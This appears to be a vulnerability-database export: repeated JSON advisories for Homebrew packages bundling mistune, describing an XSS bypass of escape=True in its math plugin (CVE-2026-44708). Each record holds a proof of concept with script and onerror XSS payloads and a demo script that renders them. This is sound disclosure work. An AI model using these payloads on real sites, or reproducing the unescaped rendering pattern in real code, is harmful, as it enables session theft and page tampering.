{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "adr-viewer",
        "purl": "pkg:brew/adr-viewer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.4.0_5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer\u0027s `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input \u2014 no escape() call anywhere\n    return r\u0027\u003cspan class=\"math\"\u003e\\(\u0027 + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return \u0027\u003cdiv class=\"math\"\u003e$$\\n\u0027 + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 \u2014 Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 \u2014 Observe the bypass**\n\nActual output \u2014 the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 \u2014 Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True \u2014 HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 \u2014 Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 \u2014 Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  \u2014 escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   \u2014 escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim\u0027s browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "id": "BREW-adr-viewer-CVE-2026-44708",
  "modified": "2026-09-18T14:56:30Z",
  "published": "2026-08-13T16:35:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44708"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Math Plugin has an XSS Escape Bypass",
  "upstream": [
    "GHSA-8g87-j6q8-g93x",
    "CVE-2026-44708",
    "PYSEC-2026-2206"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "buku",
        "purl": "pkg:brew/buku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.1"
            },
            {
              "fixed": "5.1_4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer\u0027s `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input \u2014 no escape() call anywhere\n    return r\u0027\u003cspan class=\"math\"\u003e\\(\u0027 + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return \u0027\u003cdiv class=\"math\"\u003e$$\\n\u0027 + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 \u2014 Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 \u2014 Observe the bypass**\n\nActual output \u2014 the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 \u2014 Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True \u2014 HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 \u2014 Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 \u2014 Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  \u2014 escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   \u2014 escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim\u0027s browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "id": "BREW-buku-CVE-2026-44708",
  "modified": "2026-09-18T15:06:13Z",
  "published": "2026-08-13T16:38:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44708"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Math Plugin has an XSS Escape Bypass",
  "upstream": [
    "GHSA-8g87-j6q8-g93x",
    "CVE-2026-44708",
    "PYSEC-2026-2206"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.3"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "iredis",
        "purl": "pkg:brew/iredis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.4"
            },
            {
              "fixed": "1.16.1_2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.3",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.3"
      }
    ]
  },
  "details": "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer\u0027s `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input \u2014 no escape() call anywhere\n    return r\u0027\u003cspan class=\"math\"\u003e\\(\u0027 + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return \u0027\u003cdiv class=\"math\"\u003e$$\\n\u0027 + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 \u2014 Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 \u2014 Observe the bypass**\n\nActual output \u2014 the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 \u2014 Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True \u2014 HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 \u2014 Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 \u2014 Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  \u2014 escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   \u2014 escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim\u0027s browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "id": "BREW-iredis-CVE-2026-44708",
  "modified": "2026-09-17T17:45:16Z",
  "published": "2026-08-13T17:00:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44708"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Math Plugin has an XSS Escape Bypass",
  "upstream": [
    "GHSA-8g87-j6q8-g93x",
    "CVE-2026-44708",
    "PYSEC-2026-2206"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4"
      },
      "package": {
